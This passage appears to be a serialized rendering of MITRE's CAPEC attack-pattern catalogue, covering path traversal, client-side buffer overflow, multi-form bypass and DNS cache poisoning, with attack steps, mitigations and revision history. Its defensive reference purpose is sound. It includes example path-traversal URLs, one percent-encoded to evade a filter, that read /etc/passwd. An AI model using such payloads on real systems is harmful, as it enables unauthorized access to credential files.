xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Perform input validation for all remote content, including remote and user-generated content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Validate user input by only accepting known good. Ensure all content that is delivered to client is sanitized against an acceptable content specification -- using an allowlist approach.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Prefer working without user input when using file system calls</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Use indirect references rather than actual file names.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Use possible permissions on file access when developing and deploying web applications.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The attacker uses relative path traversal to access files in the application. This is an example of accessing user's password file.&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt;http://www.example.com/getProfile.jsp?filename=../../../../etc/passwd&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;However, the target application employs regular expressions to make sure no relative path sequences are being passed through the application to the web page. The application would replace all matches from this regex with the empty string.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Then an attacker creates special payloads to bypass this filter:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt;http://www.example.com/getProfile.jsp?filename=%2e%2e/%2e%2e/%2e%2e/%2e%2e /etc/passwd&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;When the application gets this input string, it will be the desired vector by the attacker.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 23 + + + + + + + + + + + + #indReferenceReference4300 + Reference_4300 + + + + + + + + + REF-9 + + + + + Testing for Path Traversal (OWASP-AZ-001) + + + + + + + + + + + + #indReferenceReference4301 + Reference_4301 + + + + + + + + + REF-10 + + + + + WASC-33 - Path Traversal + + + + + + + + + + + + #indContentHistoryContentHistory4303 + Content_History_4303 + + + + + + + + + + + + + + + + #indSubmissionSubmission4304 + Submission_4304 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification4309 + Modification_4309 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification4315 + Modification_4315 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification4321 + Modification_4321 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Attack_Phases, Related_Weaknesses + + + + + + + + + + + + #indModificationModification4327 + Modification_4327 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification4333 + Modification_4333 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification4339 + Modification_4339 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attack_Phases + + + + + + + + + + + + #indModificationModification4345 + Modification_4345 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Consequences + + + + + + + + + + + + #indModificationModification4351 + Modification_4351 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow, Mitigations + + + + + + + + + + + + #indModificationModification4357 + Modification_4357 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References + + + + + + + + + + + + #indModificationModification4363 + Modification_4363 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification4369 + Modification_4369 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-14 + Client-side Injection-induced Buffer Overflow + + + + + + + + + 14 + + + + + Client-side Injection-induced Buffer Overflow + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service. This hostile service is created to deliver the correct content to the client software. For example, if the client-side application is a browser, the service will host a webpage that the browser loads.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern4384 + Related_Attack_Pattern_4384 + + + + + + + + + + + + + + 100 + + + + + + + + + + + + #indAttackStepAttackStep4387 + Attack_Step_4387 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify target client-side application] The adversary identifies a target client-side application to perform the buffer overflow on. The most common are browsers. If there is a known browser vulnerability an adversary could target that.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep4392 + Attack_Step_4392 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find injection vector] The adversary identifies an injection vector to deliver the excessive content to the targeted application's buffer.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Many times client side applications will be open source, so an adversary can examine the source code to identify possible injection vectors.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Examine APIs of the client-side application and look for areas where a buffer overflow might be possible.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep4399 + Attack_Step_4399 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Create hostile service] The adversary creates a hostile service that will deliver content to the client-side application. If the intent is to simply cause the software to crash, the content need only consist of an excessive quantity of random data. If the intent is to leverage the overflow for execution of arbitrary code, the adversary crafts the payload in such a way that the overwritten return address is replaced with one of the adversary's choosing.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If the client-side application is a browser, the adversary will create a service that delivers a malicious webpage to the browser.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create malicious shellcode that will execute when the program execution is returned to it.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a NOP-sled in the overflow content to more easily "slide" into the malicious code. This is done so that the exact return address need not be correct, only in the range of all of the NOPs</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep4407 + Attack_Step_4407 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Overflow the buffer] Using the injection vector, the adversary delivers the content to the client-side application using the hostile service and overflows the buffer.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If the adversary is targeting a local client-side application, they just need to use the service themselves.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If the adversary is attempting to cause an overflow on an external user's client-side application, they must get the user to attach to their service by some other means. This could be getting a user to visit their hostile webpage to target a user's browser.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted client software communicates with an external server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted client software has a buffer overflow vulnerability.</xhtml:div> + + + + + + + + + + + + #indSkillSkill4420 + Skill_4420 + + + + + + + + + + + + + + To achieve a denial of service, an attacker can simply overflow a buffer by inserting a long string into an attacker-modifiable injection vector. + + + + + + + + + + + + #indSkillSkill4421 + Skill_4421 + + + + + + + + + + + + + + Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap requires a more in-depth knowledge and higher skill level. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An example of indicator is when the client software crashes after executing code downloaded from a hostile server.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence4427 + Consequence_4427 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence4431 + Consequence_4431 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence4435 + Consequence_4435 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Denial of Service</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence4440 + Consequence_4440 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The client software should not install untrusted code from a non-authenticated server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The client software should have the latest patches and should be audited for vulnerabilities before being used to communicate with potentially hostile servers.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Perform input validation for length of buffer inputs.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a language or compiler that performs automatic bounds checking.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use an abstraction library to abstract away risky APIs. Not a complete solution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure all buffer uses are consistently bounds-checked.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use OS-level preventative functionality. Not a complete solution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Authors often use &amp;lt;EMBED&amp;gt; tags in HTML documents. For example&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;&amp;lt;EMBED TYPE="audio/midi" SRC="/path/file.mid" AUTOSTART="true"&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In Internet Explorer 4.0 an adversary attacker supplies an overly long path in the SRC= directive, the mshtml.dll component will suffer a buffer overflow. This is a standard example of content in a Web page being directed to exploit a faulty module in the system. There are potentially thousands of different ways data can propagate into a given system, thus these kinds of attacks will continue to be found in the wild.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 120 + + + + + 353 + + + + + 118 + + + + + 119 + + + + + 74 + + + + + 20 + + + + + 680 + + + + + 697 + + + + + + + + + + + + #indReferenceReference4476 + Reference_4476 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory4478 + Content_History_4478 + + + + + + + + + + + + + + + + #indSubmissionSubmission4479 + Submission_4479 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification4484 + Modification_4484 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification4490 + Modification_4490 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification4496 + Modification_4496 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification4502 + Modification_4502 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification4508 + Modification_4508 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Description, Execution_Flow + + + + + + + + + + + + #indModificationModification4514 + Modification_4514 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-140 + Bypassing of Intermediate Forms in Multiple-Form Sets + + + + + + + + + 140 + + + + + Bypassing of Intermediate Forms in Multiple-Form Sets + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Some web applications require users to submit information through an ordered sequence of web forms. This is often done if there is a very large amount of information being collected or if information on earlier forms is used to pre-populate fields or determine which additional information the application needs to collect. An attacker who knows the names of the various forms in the sequence may be able to explicitly type in the name of a later form and navigate to it without first going through the previous forms. This can result in incomplete collection of information, incorrect assumptions about the information submitted by the attacker, or other problems that can impair the functioning of the application.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern4528 + Related_Attack_Pattern_4528 + + + + + + + + + + + + + + 74 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target must collect information from the user in a series of forms where each form has its own URL that the attacker can anticipate and the application must fail to detect attempts to access intermediate forms without first filling out the previous forms.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + 372 + + + + + + + + + + + + #indContentHistoryContentHistory4541 + Content_History_4541 + + + + + + + + + + + + + + + + #indSubmissionSubmission4542 + Submission_4542 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification4547 + Modification_4547 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification4553 + Modification_4553 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification4559 + Modification_4559 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-141 + Cache Poisoning + + + + + + + + + 141 + + + + + Cache Poisoning + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern4572 + Related_Attack_Pattern_4572 + + + + + + + + + + + + + + 161 + + + + + 512 + + + + + 515 + + + + + + + + + + + + #indAttackStepAttackStep4578 + Attack_Step_4578 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify and explore caches] Use tools to sniff traffic and scan a network in order to locate application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache) that may have vulnerabilities. Look for poisoning point in cache table entries.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run tools that check available entries in the cache.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep4584 + Attack_Step_4584 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Cause specific data to be cached] An attacker sends bogus request to the target, and then floods responses that trick a cache to remember malicious responses, which are wrong answers of queries.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Intercept or modify a query, or send a bogus query with known credentials (such as transaction ID).</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep4590 + Attack_Step_4590 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Redirect users to malicious website] As the attacker succeeds in exploiting the vulnerability, they are able to manipulate and interpose malicious response data to targeted victim queries.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Intercept or modify a query, or send a bogus query with known credentials (such as transaction ID).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversary-in-the-Middle attacks (CAPEC-94) intercept secure communication between two parties.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must be able to modify the value stored in a cache to match a desired value.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted application must not be able to detect the illicit modification of the cache and must trust the cache value in its calculations.</xhtml:div> + + + + + + + + + + + + #indSkillSkill4603 + Skill_4603 + + + + + + + + + + + + + + To overwrite/modify targeted cache + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Disable client side caching.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Listens for query replies on a network, and sends a notification via email when an entry changes.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In this example, an attacker sends request to a local DNS server to look up www.example .com. The associated IP address of www.example.com is 1.3.5.7.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Local DNS usually caches IP addresses and do not go to remote DNS every time. Since the local record is not found, DNS server tries to connect to remote DNS for queries. However, before the remote DNS returns the right IP address 1.3.5.7, the attacker floods local DNS with crafted responses with IP address 2.4.6.8. The result is that 2.4.6.8 is stored in DNS cache. Meanwhile, 2.4.6.8 is associated with a malicious website www.maliciousexampsle.com&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;When users connect to www.example.com, the local DNS will direct it to www.maliciousexample.com, this works as part of a Pharming attack.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 348 + + + + + 345 + + + + + 349 + + + + + 346 + + + + + + + + + + + + #indTaxonomyMappingAdversaryInTheMiddleARPCachePoisoning + Adversary-in-the-Middle: ARP Cache Poisoning + + + + + + + + + + + + + + 1557.002 + + + + + Adversary-in-the-Middle: ARP Cache Poisoning + + + + + + + + + + + + #indTaxonomyMappingCachePoisoning + Cache Poisoning + + + + + + + + + + + + + + Cache Poisoning + + + + + + + + + + + + #indReferenceReference4632 + Reference_4632 + + + + + + + + + REF-22 + + + + + DNS Cache Poisoning + + + + + + + + + + + + #indReferenceReference4634 + Reference_4634 + + + + + + + + + REF-23 + + + + + DNS Threats & Weaknesses of the Domain Name System + + + + + + + + + + + + #indReferenceReference4635 + Reference_4635 + + + + + + + + + REF-24 + + + + + Arp Spoofing + + + + + + + + + + + + #indReferenceReference4636 + Reference_4636 + + + + + + + + + REF-599 + + + + + Testing for Browser Cache Weaknesses + + + + + + + + + + + + #indContentHistoryContentHistory4638 + Content_History_4638 + + + + + + + + + + + + + + + + #indSubmissionSubmission4639 + Submission_4639 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification4644 + Modification_4644 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification4650 + Modification_4650 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification4656 + Modification_4656 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification4662 + Modification_4662 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification4668 + Modification_4668 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification4674 + Modification_4674 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification4680 + Modification_4680 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances, Related_Weaknesses, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-142 + DNS Cache Poisoning + + + + + + + + + 142 + + + + + DNS Cache Poisoning + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern4693 + Related_Attack_Pattern_4693 + + + + + + + + + + + + + + 141 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern4694 + Related_Attack_Pattern_4694 + + + + + + + + + + + + + + 89 + + + + + + + + + + + + #indAttackStepAttackStep4697 + Attack_Step_4697 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Explore resolver caches] Check DNS caches on local DNS server and client's browser with DNS cache enabled.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run tools that check the resolver cache in the memory to see if it contains a target DNS entry.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Figure out if the client's browser has DNS cache enabled.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep4704 + Attack_Step_4704 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Attempt sending crafted records to DNS cache] A request is sent to the authoritative server for target website and wait for the iterative name resolver. An adversary sends bogus request to the DNS local server, and then floods responses that trick a DNS cache to remember malicious responses, which are wrong answers of DNS query.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversary must know the transaction ID by intercepting a DNS query, or sending a bogus query with known transaction ID.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If the transaction ID used to identify each query instance is randomized in some new DNS software, the attack must guess the transaction ID. Slow the response of the real DNS server by causing Denial-of-service. This gives adversaries enough time to guess transaction</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversary crafts DNS response with the same transaction ID as in the request. The adversary sends out DNS responses before the authorized DNS server. This forces DNS local cache stores fake DNS response (wrong answer). The fake DNS responses usually include a malicious website's IP address.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep4712 + Attack_Step_4712 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Redirect users to malicious website] As the adversary succeeds in exploiting the vulnerability, the victim connects to a malicious site using a good web site's domain name.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Redirecting Web traffic to a site that looks enough like the original so as to not raise any suspicion.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversary-in-the-Middle (CAPEC-94) intercepts secure communication between two parties.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A DNS cache must be vulnerable to some attack that allows the adversary to replace addresses in its lookup table.Client applications must trust the corrupted cashed values and utilize them for their domain name resolutions.</xhtml:div> + + + + + + + + + + + + #indSkillSkill4724 + Skill_4724 + + + + + + + + + + + + + + To overwrite/modify targeted DNS cache + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have the resources to modify the targeted cache. In addition, in most cases the adversary will wish to host the sites to which users will be redirected, although in some cases redirecting to a third party site will accomplish the adversary's goals.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Make sure your DNS servers have been updated to the latest versions</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: UNIX services like rlogin, rsh/rcp, xhost, and nfs are all susceptible to wrong information being held in a cache. Care should be taken with these services so they do not rely upon DNS caches that have been exposed to the Internet.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Disable client side DNS caching.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In this example, an adversary sends request to a local DNS server to look up www.example .com. The associated IP address of www.example.com is 1.3.5.7.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Local DNS usually caches IP addresses and do not go to remote DNS every time. Since the local record is not found, DNS server tries to connect to remote DNS for queries. However, before the remote DNS returns the right IP address 1.3.5.7, the adversary floods local DNS with crafted responses with IP address 2.4.6.8. The result is that 2.4.6.8 is stored in DNS cache. Meanwhile, 2.4.6.8 is associated with a malicious website www.maliciousexampsle.com&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;When users connect to www.example.com, the local DNS will direct it to www.maliciousexample.com, this works as part of a Pharming attack.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 348 + + + + + 345 + + + + + 349 + + + + + 346 + + + + + 350 + + + + + + + + + + + + #indTaxonomyMappingCompromiseInfrastructureDNSServer + Compromise Infrastructure: DNS Server + + + + + + + + + + + + + + 1584.002 + + + + + Compromise Infrastructure: DNS Server + + + + + + + + + + + + #indReferenceReference4755 + Reference_4755 + + + + + + + + + REF-22 + + + + + DNS Cache Poisoning + + + + + + + + + + + + #indReferenceReference4757 + Reference_4757 + + + + + + + + + REF-23 + + + + + DNS Threats & Weaknesses of the Domain Name System + + + + + + + + + + + + #indReferenceReference4758 + Reference_4758 + + + + + + + + + REF-27 + + + + + + + + + + + + #indContentHistoryContentHistory4760 + Content_History_4760 + + + + + + + + + + + + + + + + #indSubmissionSubmission4761 + Submission_4761 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification4766 + Modification_4766 + + + + + + + + + CAPEC Content Team + + + + + The MITRE 